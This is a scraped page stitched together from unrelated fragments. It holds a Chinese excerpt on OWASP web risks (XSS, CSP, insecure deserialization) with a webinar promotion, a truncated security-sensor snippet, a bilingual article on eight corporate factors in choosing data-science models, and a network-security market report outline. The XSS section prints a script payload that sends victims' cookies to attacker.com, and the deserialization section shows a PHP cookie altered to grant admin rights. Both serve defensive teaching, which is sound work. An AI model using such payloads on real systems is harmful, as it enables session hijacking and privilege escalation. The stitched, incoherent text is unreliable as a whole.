    1. 使用已解决 XS S问题的框架,如:Ruby 3.0 或 React JS。了解每个框架对 XSS 保护的局限性,并适当地处理未覆盖的用例。
    2. 为了避免反射式或存储式的 XSS 漏洞,最好的办法是根据 HTML 输出的上下文(包括:主体、属性、JavaScript、CSS或URL) 对所有不可信的 HTTP 请求数据进行恰当的转义 。
    3. 在客户端修改浏览器文档时,为了避免 DOM XSS 攻击,最好的选择是实施上下文敏感数据编码。如果这种情况不能避免,可以采用《OWASP Cheat Sheet ‘DOM based XSS Prevention ‘》 一文中描述的类似于上下文敏感的转义技术,并应用于浏览器 API。
    4. 使用内容安全策略(CSP)是对抗 XSS 的最终防御策略。如果不存在可以通过本地文件存放恶意代码的漏洞(例如:路径遍历覆盖和允许在网络中传输的易受攻击的库),则该策略是有效的。

    攻击案例场景

    场景#1:应用程序在下面的 HTML 代码段构造中使用了未经验证或转义的不可信的数据源:

    (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC“) + "'>";

    攻击者在浏览器中修改“CC” 参数为如下值:

    '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>'.

    这个攻击会导致受害者的会话 ID 被发送到攻击者的网站,使得攻击者能够劫持用户当前会话。

    内容安全策略 (CSP)

    内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是恶意软件,这些攻击都是主要的手段。

    CSP 被设计成完全向后兼容(除CSP2 在向后兼容有明确提及的不一致外)。不支持 CSP 的浏览器也能与实现了 CSP 的服务器正常合作,反之亦然:不支持 CSP 的浏览器只会忽略它,如常运行,默认为网页内容使用标准的同源策略。如果网站不提供 CSP Header,浏览器将使用标准的同源策略。

    为使 CSP 可用, 你需要配置你的网络服务器返回 Content-Security-Policy HTTP Header ( 有时你会看到一些关于 X-Content-Security-Policy Header 的提法, 那是旧版本,你无须再如此指定它)。

    除此之外, 元素也可以被用来配置该策略, 例如:

    <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

    上下文敏感数据编码(XSS 编码与绕过)

    对于了解 Web 安全的朋友来说,都知道 XSS 这种漏洞,其危害性不用强调。一般对于该漏洞的防护有两个思路:一是过滤敏感字符,诸如【<,>,script,'】等,另一种是对敏感字符进行 html 编码,诸如 php 中的 htmlspecialchars() 函数。

    一般情况,正确实施这两种方案之一就可以有效防御 XSS 漏洞了。但其实也会有一些场景,即使实施了这两种方案,攻击者也可以绕过防护,导致 XSS 漏洞被利用。

    场景一:XSS 注入点在某个 html 标签属性中,代码片段如下: enter image description here可以看到,这里防护措施采用的是方案一:过滤敏感字符。这里如果输入javascript:alert (11),是会被过滤掉的,输出的内容会是:

    场景二:XSS 注入点在 js 标签中,代码片段如下: enter image description here这里采用的防护措施是第二种,即使用 php 内置函数 htmlspecialchars 对敏感字符进行编码。如果输入正常的 payload,如:<img src=1 onerror=alert(11)>,是不会有弹窗的,此时浏览器的输出如下图: enter image description here这里的敏感字符< >,已经被 html 编码了,最后在

    标签里面输出的时候,浏览器再使用 html 解码将其原文显示出来,但是并不会触发js引擎,所以也就没有弹窗。

    下图是 js 编码后的 payload: enter image description here

    不安全的反序列化

    不安全的反序列化会导致远程代码执行。即使反序列化缺陷不会导致远程代码执行,攻击者也可以利用它们来执行攻击,包括:重播攻击、注入攻击和特权升级攻击。 enter image description here

    可利用性:难对反序列化的利用非常困难。因为在不更改或调整底层可被利用代码的情况下,现成的反序列化漏洞很难被使用。

    可检测性:一般有些工具可以被用于发现反序列化缺陷,但经常需要人工帮助来验证发现的问题。希望有关反序列化缺陷的普遍性数据将随着工具的开发而被更多的识别和解决。

    技术影响:严重反序列化缺陷的影响不能被低估。它们可能导致远程代码执行攻击,这是可能发生的最严重的攻击之一。

    自查:您的应用程序脆弱吗?

    如果反序列化进攻者提供恶意代码或者被篡改过的对象,将会使整个应用程序和 API 变的脆弱,这可能会导致以下两种主要类型的攻击:

    1. 如果应用中存在可以在反序列化过程中或者之后被改变行为的类,则攻击者可以通过改变应用逻辑或者实现远程代码执行攻击,这种攻击方式被称为对象和数据结构攻击。

    2. 典型的数据篡改攻击,如访问控制相关的攻击,其中使用了现有的数据结构,但内容发生了变化。

    在应用程序中,序列化可能被用于:

    • 远程和进程间通信(RPC / IPC)
    • 连线协议、Web服务、消息代理
    • 缓存/持久性
    • 数据库、缓存服务器、文件系统
    • HTTP cookie、HTML 表单参数、API 身份验证令牌

    如何防止?

    唯一安全的架构模式是:不接受来自不受信源的序列化对象,或使用只允许原始数据类型的序列化媒体。 如果上述均无法实现,请考虑使用下面的方法:

    1. 执行完整性检查,如:任何序列化对象的数字签名,以防止恶意对象创建或数据篡改。
    2. 在创建对象之前强制执行严格的类型约束,因为代码通常被期望成一组可定义的类。绕过这种技术的方法已经被证明,所以完全依赖于它是不可取的。
    3. 如果可能,隔离运行那些在低特权环境中的反序列化代码。
    4. 记录反序列化的例外情况和失败信息,如:传入的类型不是预期的类型,或者反序列处理引发的例外情况。
    5. 限制或监视来自于容器或服务器传入和传出的反序列化网络连接。
    6. 监控反序列化,当用户持续进行反序列化时,对用户进行警告。

    攻击案例场景

    场景 #1:一个 React 应用程序调用了一组 Spring Boot 微服务,为了确保原有的代码不变,解决方法是序列化用户状态,并在每次请求时来回传递。这时,攻击者可利用“R00”Java 对象签名,并使用 Java Serial Killer 工具在应用服务器上获得远程代码执行。

    场景 #2:一个 PHP 论坛使用 PHP 对象序列化来保存一个“超级”cookie。该 cookie 包含了用户的 ID、角色、密码哈希和其他状态:

    a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

    攻击者可以更改序列化对象以授予自己为admin权限:

    a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

    使用含有已知漏洞的组件

    组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据丢失或服务器接管。同时,使用含有已知漏洞的组件和API会破坏应用程序的防御手段,造成各种攻击并产生严重影响。

    不足的日志记录和监控

    不足的日志记录和监控,以及事件响应缺失或无效的集成,使攻击者能够进一步攻击系统,并篡改、提取或销毁数据。大多数缺陷研究显示,缺陷被检测出的时间超过 200 天,且通常通过外部检测方检测,而不是通过内部流程或监控检测。

    未雨绸缪 - 项目中如何应对

    开发人员需要做些什么?

    1. 提高风险意识
    2. Code Review
    3. 建立可重复使用的安全流程和标准安全控制
    4. 安全检测工具a) ZAP Tools b) 静态代码分析
    5. 建立持续性的应用安全测试
    6. 管理完整的应用程序生命周期

    以上便是从本次 Chat——“WebApp 安全风险与防护(系列二)”中截取的部分内容,相信一定能对您的 WebApp 应用程序安全防护有所帮助。

    更多关于 WebApp 安全风险防护手段及葡萄城安全架构中的实践分享,将在葡萄城系列公开课“WebApp 安全风险与防护”中,由 Carl 亲自讲解,诚邀您学习观看。

    欢迎大家扫描下图二维码,预约报名参加。 enter image description here

    **直播地址:http://live.vhall.com/137416596 **

    enter image description here

    **公开课地址:http://live.vhall.com/137416596 **公开课时间:2019/6/28 (周五)16:00 PM

    最后

    错过本场直播?没关系,所有直播内容我们会存放在葡萄城公开课页面,便于您随时观看、学习。

    “赋能开发者”葡萄城除了为所有开发人员提供免费的开发技巧分享、项目实战经验外,还提供了众多高水准、高品质的开发工具开发者解决方案,可有效帮助开发人员提高效率,缩短项目周期,使开发人员能更专注于业务逻辑,顺利完成高质量的项目交付,欢迎您深入了解。

    讲师资料:Carl(陈庆),葡萄城高级架构师、葡萄城技术公开课讲师。拥有15年项目开发经验,专注于产品架构、编程技术等领域,对网络安全有着独到见解,曾担任微软TechEd讲师,乐于研究各种前沿技术并分享。

    阅读全文: http://gitbook.cn/gitchat/activity/5d0998e6dff5210354877cf0

    您还可以下载 CSDN 旗下精品原创内容社区 GitChat App ,阅读更多 GitChat 专享技术内容哦。

    FtooAtPSkEJwnW-9xkCLqSTRpBKX

    展开全文
  • 安全传感器电池寿命代表SMA解决方案在实用性,成本效益和市场接受度方面的关键考虑因素,在包括无线通信范围,互操作性,,生态系统和现场可升级性在内的一系列因素中靠前。由Ember Corporation
  • 因素分析模型解决方法Finally, all data were cleansed and ready to analyze. Andy started overenthusiastically to visualize the data to get a first impression of the data. He had many dimensions and ...

    多因素分析模型解决方法

    Finally, all data were cleansed and ready to analyze. Andy started overenthusiastically to visualize the data to get a first impression of the data. He had many dimensions and variables such that he spent several days visually analyzing them and determining the best methods to apply. At the end of that week, the team manager told him that he would need a draft presentation about the outcomes next Tuesday because the team manager had to present it in one week to a steering committee.

    最后,所有数据都已清洗并准备分析。 Andy热情洋溢地开始可视化数据以获得对数据的第一印象。 他具有许多维度和变量,因此他花了几天的时间对它们进行可视化分析并确定最佳的应用方法。 在该周结束时,团队经理告诉他,下周二他将需要一份关于结果的演示文稿草稿,因为团队经理必须在一周内将其提交给指导委员会。

    Andy told him that he has no results yet. But there was no space for negotiations. On Tuesday, conclusions had to be delivered and integrated into a PowerPoint presentation.

    安迪告诉他,他还没有结果。 但是没有谈判的空间。 在星期二,必须提交结论并将其集成到PowerPoint演示文稿中。

    Hastily, Andy produced some regression analyses and integrated them into the presentation.

    仓促地,安迪进行了一些回归分析并将其整合到演示中。

    After the steering committee meeting, the team manager told him that the project would not be carried on.

    在指导委员会会议之后,团队经理告诉他该项目将不会继续进行。

    Andy was very frustrated. That was his second project, and the second time it ended with the same decision. He has chosen this position because of the potential for doing great data science work on a large amount of data available.

    安迪非常沮丧。 那是他的第二个项目,第二次以相同的决定结束。 他之所以选择此职位,是因为他有潜力对大量可用数据进行出色的数据科学工作。

    This story is a real case, and it is not an atypical situation in corporations. I assume that some of you have already experienced a similar situation, too.

    这个故事是真实的案例,在公司中不是典型情况。 我想你们当中有些人也已经经历过类似的情况。

    The reason that this happens is not your skills.

    发生这种情况的原因不是您的技能。

    When thrown into a data science project in a corporate environment, the situation is different from the previous learning context.

    在公司环境中投入数据科学项目时,情况与以前的学习环境不同。

    My experience is that most data scientists struggle to manage the project, given the many corporate constraints and expectations.

    我的经验是,鉴于许多公司的限制和期望,大多数数据科学家都在努力管理项目。

    More than a few data scientists are disappointed and frustrated after the first projects and looking for another position.

    在进行第一个项目并寻找另一个职位后,许多数据科学家感到失望和沮丧。

    Why?

    为什么?

    They are trained in handling data, technical methods, and programming. Nobody ever taught them in project, stakeholder, or corporate data management or educated them about corporate business KPIs.

    他们接受过处理数据,技术方法和编程方面的培训。 没有人曾在项目,利益相关者或公司数据管理方面教过他们,也没有教过他们有关公司业务KPI的知识。

    It is the lack of experience with unspoken corporate practices.

    这是缺乏对潜行企业实践的经验。

    Unfortunately, there are more potential pitfalls in that area than with all your technical skills.

    不幸的是,与您所有的技术技能相比,该领域存在更多的潜在陷阱。

    If you know the determining factors, you can plan your data science tasks accordingly, pursue satisfying projects, and steer your work.

    如果您知道决定因素,则可以相应地计划数据科学任务,追求令人满意的项目并指导工作。

    In the following, I give you the eight most important drivers for the model approach selection in the corporate environment and how to mitigate them.

    在下文中,我为您提供了在企业环境中选择模型方法以及如何减轻它们的八个最重要的驱动因素。

    1.时间,时间表和截止日期 (1. Time, timelines, and deadlines)

    What you need to know

    你需要知道的

    Corporations have defined project processes. Stage-gate or steering committee meetings are part of that where outcomes must be presented. Presentations have to be submitted a few days in advance and must contain certain expected information. Also, corporates are always under pressure to deliver financial results. That leads to consistently tight deadlines. These processes are part of the corporate culture, unspoken, and supposed that the employee knows them.

    公司已经定义了项目流程。 阶段性会议或指导委员会会议是必须提出成果的会议的一部分。 演示文稿必须提前几天提交,并且必须包含某些预期的信息。 而且,企业总是承受着交付财务成果的压力。 这导致持续的时间紧迫。 这些流程是企业文化的一部分,是不言而喻的,并且假定员工知道它们。

    How to address it?

    如何解决?

    Ask, ask, ask. Ask about the milestones, e.g., the meeting dates where project decisions will be made.

    问,问,问。 询问里程碑,例如制定项目决策的会议日期。

    Set up a time budget. Start at the milestone’s date and calculate backward a project schedule.

    设置时间预算。 从里程碑的日期开始,然后向后计算项目进度表。

    Include not only your tasks but also the surrounding actions, like coordination meetings, presentations, and deadlines for submitting the presentations. Do not forget that there is a review round for each presentation, and you have to consider adding a few days in advance of submission. Include time margins for unexpected tasks and troubleshooting.

    不仅包括您的任务,还包括周围的动作,例如协调会议,演示文稿以及提交演示文稿的截止日期。 别忘了每个演示文稿都有一个审核回合,您必须考虑在提交前几天添加。 包括用于意外任务和故障排除的时间余量。

    Only then, choose the approaches for the ability to perform it within the determined schedule. Choose methods that can be run quickly and where you are familiar. After having a few successful results, and hopefully, still time, start experimenting with more complex and new methods.

    只有这样,才能在确定的时间表内选择执行该功能的方法。 选择可以在您熟悉的地方快速运行的方法。 在取得了一些成功的结果之后,希望还有时间,可以开始尝试使用更复杂和新的方法。

    Example

    Human Resources (HR) urgently needed the patterns of HR management’s key success factors towards the business departments and people. Setting up the schedule based on the deadline, we decided only to perform simple linear regression without considering any interdependencies of such key success factors, e.g., the level of education and the attended training pieces. We focused on fitting accurately simpler models and having single contribution factors with high reliability identified.

    人力资源部(HR)迫切需要人力资源管理模式对业务部门和人员的关键成功因素。 根据截止日期制定时间表,我们决定只进行简单的线性回归,而没有考虑这些关键成功因素之间的相互依赖性,例如教育水平和参加的培训项目。 我们专注于精确拟合更简单的模型,并确定具有高可靠性的单一贡献因子。

    2.模型和结果所需的准确性 (2. Accuracy needed of the models and the results)

    What you need to know

    你需要知道的

    The available and ready to use data determine the accuracy of a model. So, the level of detail of a model and the granularity of the data must match. The same is true for the expectations of the granularity of the outcome. The method must match expectations. Any mismatch will give unreliable results.

    可用和准备使用的数据确定模型的准确性。 因此,模型的详细程度和数据的粒度必须匹配。 对于结果粒度的期望也是如此。 该方法必须符合期望。 任何不匹配都会导致不可靠的结果。

    How to address it?

    如何解决?

    Select the model according to the granularity of the available data. Do not waste your time to fit a very detailed and accurate model when there is no proper data. Aggregating data and using a less granular model gives more reliable results when not having good quality data.

    根据可用数据的粒度选择模型。 如果没有适当的数据,请不要浪费时间来拟合非常详细和准确的模型。 当没有高质量的数据时,聚合数据并使用粒度较小的模型可以提供更可靠的结果。

    When the level of accuracy needed for decision making does not match the level that can be achieved by the data, you have to escalate it as early as possible. Do not try to make something up. Only transparent communication helps, prevent surprises, and manages expectations. Otherwise, you will be blamed.

    当决策所需的准确度与数据所能达到的准确度不匹配时,您必须尽早升级。 不要试图弥补。 只有透明的沟通才能帮助,防止意外并管理期望。 否则,您将受到责备。

    Example

    When we analyzed the influencing patterns for nursing homes’ profitability, the granular data had been too inhomogeneous, and the results made no economic sense. So, we aggregated the data and applied simpler models. Based on the results, the authority could already make essential decisions and put guidelines in place for future data management and collection.

    当我们分析养老院盈利能力的影响模式时,粒度数据太不均匀,结果没有经济意义。 因此,我们汇总了数据并应用了更简单的模型。 根据结果​​,主管部门可能已经做出了重要决定,并为将来的数据管理和收集制定了指导方针。

    3.方法的相关性 (3. The relevance of the methods)

    What you need to know

    你需要知道的

    The right problem must be solved with a suitable method. The question to be answered must be clear. It should not permit any ambiguity. Also, the form of the outcomes must be comparable with other internal and external analyses. Both point the direction of the relevant methodology that should be used.

    正确的问题必须用适当的方法解决。 必须回答的问题必须清楚。 它不应该有任何歧义。 而且,结果的形式必须与其他内部和外部分析具有可比性。 两者都指出了应使用的相关方法的方向。

    How to address it?

    如何解决?

    Make sure that you understand the question that has to be answered. Please do not assume it! Ask! It does not help when you have a solution with the most accurate method but to the wrong question.

    确保您了解必须回答的问题。 请不要假设! 问! 如果您有使用最准确方法的解决方案,但是对于错误的问题,则无济于事。

    Based on that, you can determine if it falls into the descriptive, predictive, or prescriptive field. If the most influential factors are looked for, choose descriptive methods. When the question is to forecast, choose a predictive approach, and only when optimized decision-making under the various effects is the aim, choose prescriptive models. Do not try to be creative. My experience is that it goes in most cases wrong.

    基于此,您可以确定它是否属于描述性,预测性或规范性字段。 如果寻找最有影响力的因素,请选择描述性方法。 当要预测问题时,请选择一种预测方法,只有当在各种影响下优化决策为目标时,才选择规定性模型。 不要尝试发挥创造力。 我的经验是,在大多数情况下,这是错误的。

    Example

    Three years ago, my former team opposed heavily against me and had pushed to implement a new trendy time series method for asset return forecasts. Finally, they just executed it — oh yeah, I was angry, but we could not move back because of the deadline. For three years, they struggled to get adequate results without making a lot of adjustment efforts. Recently, one of my former team members told me that they finally moved back to the old model because the new model had included several features not relevant for the outcome but added to much noise.

    三年前,我的前团队强烈反对我,并推动实施一种新的趋势时间序列方法来进行资产收益预测。 最后,他们只是执行了它-哦,是的,我很生气,但是由于截止日期,我们不能退缩。 三年来,他们一直在不进行大量调整的情况下努力获得足够的结果。 最近,我的一位前团队成员告诉我,他们终于回到了旧模型,因为新模型具有与结果无关的几个功能,但增加了很多噪音。

    4.数据准确性 (4. Accuracy of data)

    What you need to know

    你需要知道的

    The accuracy of the data restricts the pool of possible methods. Very accurate methods do not bring any value when used with less accurate data. The error term will be high. Again, the accuracy of the data and the accuracy of methods must match. Bad quality affects the results — garbage in, garbage out.

    数据的准确性限制了可能方法的集合。 当使用不太准确的数据时,非常准确的方法不会带来任何价值。 错误项将很高。 同样,数据的准确性和方法的准确性必须匹配。 不良的质量会影响结果-垃圾进场,垃圾出场。

    How to address it?

    如何解决?

    Understand the data as well as the requirements of the models. Do not just apply methods for try and error reasons. Do not just replicate methods because it has given excellent results in other, similar cases. You need to tailor them to the requirements of the data accuracy.

    了解数据以及模型的要求。 不要仅出于尝试和错误原因而应用方法。 不要仅仅复制方法,因为它在其他类似情况下也能提供出色的结果。 您需要根据数据准确性的要求定制它们。

    Example

    In optimizing the operating room capacities of two hospitals, we had to apply two different approaches. In one hospital, granular data for every time point of action, e.g., beginning of anesthesia, entering the operating room, beginning of the surgery, and so on, were available. The data was of good quality because of real-time electronic recording.

    为了优化两家医院的手术室容量,我们不得不采用两种不同的方法。 在一家医院中,可以获得每个动作时间点的详细数据,例如麻醉开始,进入手术室,手术开始等。 由于实时电子记录,因此数据质量很高。

    In the other hospital, the data was recorded manually and sometimes with hours of delays, and thus, the data was very imprecise. E.g., the data has shown eight surgeries in six operating rooms in parallel.

    在另一家医院中,数据是手动记录的,有时会有数小时的延迟,因此,数据非常不准确。 例如,数据显示在六个手术室中并行进行了八次手术。

    In the first case, we could fit the granular time series and agent-based models and consider the data’s seasonality. In contrast, in the second case, we had to rebuild the models and work with regression analysis and smoothing out inconsistencies before using them as an input for a less granular agent-based model.

    在第一种情况下,我们可以拟合粒度时间序列和基于代理的模型,并考虑数据的季节性。 相反,在第二种情况下,我们不得不重建模型并进行回归分析并消除不一致性,然后才将它们用作基于粒度较小的基于代理的模型的输入。

    5.数据可用性和使数据可立即使用的成本 (5. Data availability and cost to make data ready to use)

    What you need to know

    你需要知道的

    How often I have heard ‘we would have the perfect model when we could have this and this data, but unfortunately, we cannot access them in due time.’ A fact is that today, corporates are only able to use between 12% and about 30% of their data. In the discussions I have, companies state mostly, that they are using around 20% of their data. The cost to access them is, in most cases, too high, and no equivalent business case is available. If no business case covers the cost of making the data available, you will not get the data in due time.

    我经常听到“我们拥有完善的模型,而我们可以拥有这些数据,但是不幸的是,我们无法在适当的时候访问它们”。 一个事实是,如今,企业只能使用其12%30%的数据。 在我进行的讨论中,公司大多声明他们正在使用大约20%的数据。 在大多数情况下,访问它们的成本太高,并且没有等效的业务案例可用。 如果没有任何商业案例可以负担使数据可用的成本,则您将无法在适当的时候获得数据。

    How to address it?

    如何解决?

    Before having all your thoughts around the fancy models, you could apply, clarify, what data is available in due time, and the cost of getting them. Just because ‘the data is available’ in a company, it does not mean that it is available in a reasonable time frame and at a reasonable cost.

    在对奇特的模型有所有想法之前,您可以应用,澄清,在适当的时候可用的数据以及获取它们的成本。 仅仅因为“数据可以在公司中使用”,并不意味着可以在合理的时间范围内以合理的成本获得数据。

    Prioritize the data based on the other seven drivers given in this article, and make in each case a cost-benefit analysis: what is the additional benefit from the business perspective when having the data compared to what is the cost of getting them. Never ask, ‘can you give me all data?’. It shows that you have no understanding of the corporate’s business processes, and you will be de-prioritized when you need support, e.g., from IT.

    根据本文中给出的其他七个驱动因素对数据进行优先级排序,并分别进行成本效益分析:从业务角度来看,获取数据的额外好处是什么?与获取数据的成本相比,这是什么? 永远不要问,“您能给我所有数据吗?”。 它表明您不了解公司的业务流程,并且在需要支持时(例如,从IT部门获得支持),您将失去优先权。

    Example

    We had been unexpectedly faced with storage format issues in the pattern recognition work on a global bank’s intra-day liquidity data. The data of one of the required data sets of transactions from the prior year were archived on magnetic tapes. Thus, it would have taken several months until the data had been available due to release cycles and transformation into accessible formats. We had to assess alternative data and adjust the models.

    在一家全球银行的日内流动性数据的模式识别工作中,我们曾出乎意料地面临存储格式问题。 上一年所需的交易数据集之一的数据已存储在磁带上。 因此,由于发布周期和转换为可访问的格式,可能要花几个月的时间才能获得数据。 我们必须评估替代数据并调整模型。

    6.数据隐私和机密性 (6. Data privacy and confidentiality)

    What you need to know

    你需要知道的

    Customer data are often confidential. Data privacy is regulated by laws, e.g., the GDPR in the EU or the CCPA in the State of California. Financial institutions have their own regulations to protect so-called CID data — client identifying data. Access to such data have only authorized people, and data scientists are rarely amongst them. The data can only be used in anonymized, encrypted, or aggregated forms and after approval from the data owners, security officer, and legal counsel.

    客户数据通常是机密的。 数据隐私受法律规范,例如欧盟的GDPR或加利福尼亚州的CCPA。 金融机构有自己的法规来保护所谓的CID数据-客户识别数据。 只有经过授权的人员才能访问此类数据,而数据科学家很少在其中。 数据只能以匿名,加密或聚合的形式使用,并且必须经过数据所有者,安全员和法律顾问的批准。

    How to address it?

    如何解决?

    Before you start with the project, clarify if any personal data that fall under these restrictions are involved in your data science project. If yes, address it as early as possible, on one side with the IT, because they have eventually already encryption tools to deal with that, on the other side with the legal counsel. Only after having all approvals, and appropriate encryption, work with the data. I have seen many projects that could not be performed not because of the data privacy acts but because it was addressed to late and there was not enough time to get the approvals and encrypt the data in due time.

    在开始该项目之前,请弄清楚数据科学项目中是否涉及任何受这些限制的个人数据。 如果是,请尽早在IT部门解决此问题,因为他们最终已经拥有加密工具来处理该问题,而在另一方面与法律顾问联系。 仅在获得所有批准和适当的加密之后,才能使用数据。 我已经看到许多无法执行的项目不是因为数据隐私行为,而是因为它已经解决了,而且没有足够的时间来获得批准并在适当的时候对数据进行加密。

    Example

    In a project where credit card transaction data had to be used for third party service analytics, the lawyers needed seven months to clarify and approve the data use. The clarification contained not only the legal aspects but also the way of encryption, the aggregation level that should be used, and technical requirements like access rights and containerization of software.

    在一个必须将信用卡交易数据用于第三方服务分析的项目中,律师需要七个月的时间来澄清和批准数据使用。 澄清不仅包含法律方面,还包含加密方式,应使用的聚合级别以及诸如访问权限和软件容器化之类的技术要求。

    7.资源,基础架构和工具可用性 (7. Resources, infrastructure, and tools availability)

    What you need to know

    你需要知道的

    Projects in a corporate environment have many different departments involved: IT, the business, an innovation team, or an internal consulting group. All are involved in several projects in parallel, and their time is limited.

    公司环境中的项目涉及许多不同部门:IT,业务,创新团队或内部咨询小组。 所有这些都同时参与多个项目,并且时间有限。

    You need storage and computational power. Corporate rules about software installation are in place, and corresponding approvals are required. If a tool costs and needs a license, a corporate approval process exists. As a data scientist, you do not only need Python and Jupyter Notebook but most probably other tools like Tableau or Alteryx. Some companies require containers like Docker. And some tools are not permitted per corporate policy.

    您需要存储和计算能力。 有关软件安装的公司规则已到位,并且需要相应的批准。 如果工具成本高昂且需要许可证,则存在公司批准流程。 作为数据科学家,您不仅需要Python和Jupyter Notebook,而且还可能需要其他工具,例如Tableau或Alteryx。 一些公司需要像Docker这样的容器。 并且某些公司政策不允许使用某些工具。

    How to address it?

    如何解决?

    Clarify the tools and infrastructure before you start with the actual project. Estimate the storage and computational power needed, and ensure that it will be available. Clarify the corporate’s policy about data science software, and what tools are available. Inform the people from the other departments early about the upcoming support needed to plan some dedicated time. When working in an already existing data science team, you can clarify this first with your line manager. But even in an established data science team, do not assume that everything you will need for a project is in place.

    在开始实际项目之前,请先弄清工具和基础结构。 估计所需的存储和计算能力,并确保将可用。 阐明公司有关数据科学软件的政策以及可用的工具。 尽早通知其他部门的人们有关计划一些专用时间所需的即将到来的支持。 在已经存在的数据科学团队中工作时,您可以先与您的直属经理进行澄清。 但是,即使在已建立的数据科学团队中,也不要假设项目所需的一切都已经就绪。

    Example

    While working on a large amount of transactional data in a bank, we needed more computational and storage power. We worked in a private cloud environment, and typically, it takes only a few minutes to a few hours until the capacity is added. However, because we worked with client identifying data, in a so-called red zone environment, a virtual zone with very restrictive security, the infrastructure needs to be ‘red zone’ certified by the security officer. And this has then taken two weeks.

    在银行中处理大量交易数据时,我们需要更多的计算和存储能力。 我们在私有云环境中工作,通常只有几分钟到几小时才能添加容量。 但是,由于我们与客户识别数据一起使用,因此在所谓的红色区域环境中,即具有非常严格的安全性的虚拟区域,因此基础架构需要经过安全人员的“红色区域”认证。 然后这花了两个星期。

    8.公司的产品和项目管理关键绩效指标 (8. Product and project management KPIs of the company)

    What you need to know

    你需要知道的

    Corporates measure the product and project management with KPIs. There are quantitative measures like a net present value for short-term projects or a break-even point for products. And there are qualitative benefits like a shortened time to market, the learning of a project that can be leveraged to other projects, etc. Decisions and approvals of projects are based on such metrics.

    企业使用KPI衡量产品和项目管理。 有一些量化指标,例如短期项目的净现值或产品的收支平衡点。 并且具有质量上的好处,例如缩短上市时间,学习可以被其他项目利用的项目等。项目的决策和批准均基于此类指标。

    How to address it?

    如何解决?

    It does no matter how great the results of your data science work are; it should always be translated into the company’s KPIs. So, clarify with your line manager what are the steering measures of the company. Translate your outcomes into these metrics and communicate what the benefits for the company are. My experience is that the decision-makers stop fewer projects, more are implemented into the company’s processes, and finally, it builds a lot of trust in the data science team’s work.

    无论您的数据科学工作成果多么出色,它都没有关系。 应始终将其转换为公司的KPI。 因此,请与您的直线经理一起说明公司的指导措施是什么。 将您的结果转化为这些指标,并传达给公司带来什么好处。 我的经验是,决策者停止了较少的项目,在公司的流程中实施了更多的项目,最后,它对数据科学团队的工作赢得了很大的信任。

    Example

    One department of a life sciences company tried for months to get internal funding for their intended data science projects, even thought, data, and data science are pillars in the company’s strategy. They finally ask me to support them. We found out that the finance department has investment templates for projects, including the company’s metrics. So, we asked them for that template and assembled all the data science blueprints into such temples. After the next presentation round, they got 60% of all their projects approved. The trigger was that the executive committee could now compare it with the company’s KPIs and other projects’ performance.

    一家生命科学公司的一个部门几个月来一直在努力为其预期的数据科学项目获得内部资金,甚至思想,数据和数据科学也是公司战略的Struts。 他们终于要我支持他们。 我们发现财务部门具有用于项目的投资模板,包括公司的指标。 因此,我们要求他们提供该模板,并将所有数据科学蓝图组装到这样的模板中。 在下一轮演示之后,他们获得了所有项目的60%的批准。 触发因素是执行委员会现在可以将其与公司的KPI和其他项目的绩效进行比较。

    连接点 (Connecting the Dots)

    Many data scientists are not aware that working in a corporate environment involves up to 80% of other tasks than setting up models and analyze data. And you are eventually, a bit frustrated when you read all my comments.

    许多数据科学家并不了解在企业环境中进行工作除了建立模型和分析数据外还涉及多达80%的其他任务。 当您阅读我的所有评论时,最终您会感到沮丧。

    But knowing the above factors and addressing them early enough, and pro-actively puts you back into the driver seat and avoids bad surprises. The goal is to gain as much freedom as possible for our tasks. It increases project success, and you can keep free time for doing experiments with more complex and new approaches.

    但是了解上述因素并及早解决它们,并主动将您带回驾驶员座位,并避免出现意外情况。 目标是为我们的任务获得尽可能多的自由。 它可以提高项目的成功率,并且您可以保留空闲时间来使用更复杂和新的方法进行实验。

    Data scientists are not trained in managing such factors and often do not expecting them. Managing them properly is more important than all your detailed technical knowledge.

    数据科学家没有接受过管理此类因素的培训,并且往往不期望它们。 正确管理它们比您所有详细的技术知识更重要。

    All my tips and tricks to address these determining factors are neither rocket science nor a secret. But it is vital to raise your awareness of them. I hopefully can enable you to have more control and more fun with your projects.

    我针对这些决定性因素的所有技巧都不是火箭科学也不是秘密。 但是,提高对它们的认识至关重要。 我希望可以使您对项目有更多的控制权和更多的乐趣。

    翻译自: https://towardsdatascience.com/8-determining-factors-for-the-selection-of-the-model-approach-7d06d893d0ca

    多因素分析模型解决方法

    展开全文
  • 采用不同的访问和资源控制方式,限制应用对设备的访问,即便产生攻击也能够让攻击影响最小化; 设备认证在传输和接收数据前,IoT设备应该与连接网络进行认证; 防火墙/IPS 企业环境内的IoT设备需要DPI(深度包...
  • 安全系数

    2021-07-11 02:10:34
    [ān quán xì shù]安全系数语音编辑锁定讨论上传视频安全...安全系数涉及工程的经济效益及结构破坏可能产生的后果,如生命财产和社会影响等诸因素。它与国家的技术水平和经济政策密切相关。中文名安全系数外文...
  • 结合系统动力学在企业应用的需求,辨析企业安全生产的影响要素,从事故的人为因素,设备因素,管理因素的角度,探求事故影响因素安全效益的相关关系,应用系统动力学建模软件VENSIM,做出各因素之间的系统动力学因果关系...
  • 通过对影响留设防砂煤柱留设的因素进行分析,得出把原来留设的防水煤柱改为防砂煤柱是可行的,从而确定13采区近松散层留设的安全煤柱为防砂煤柱,把开采上限提高了47.98m,提高了安全开采上限,并且保证了矿井的安全开采,...
  • 通过分析探讨制约煤矿安全生产的因素,论述人在安全管理中的重要性,并提出煤炭企业管理者应当正确树立安全管理理念,正确处理安全投入与经济效益之间的关系,并在此基础上提出煤矿安全管理基础体系,包括安全人力基础...
  • 全球及中国网络安全行业项目投资调研及十四五前景展望分析报告2021-2027 【修订日期】:2021年10月 【搜索鸿晟信合研究院查看官网更多内容!】 第一章 网络安全基本概述 1.1 网络安全概念界定 1.1.1 网络安全定义...
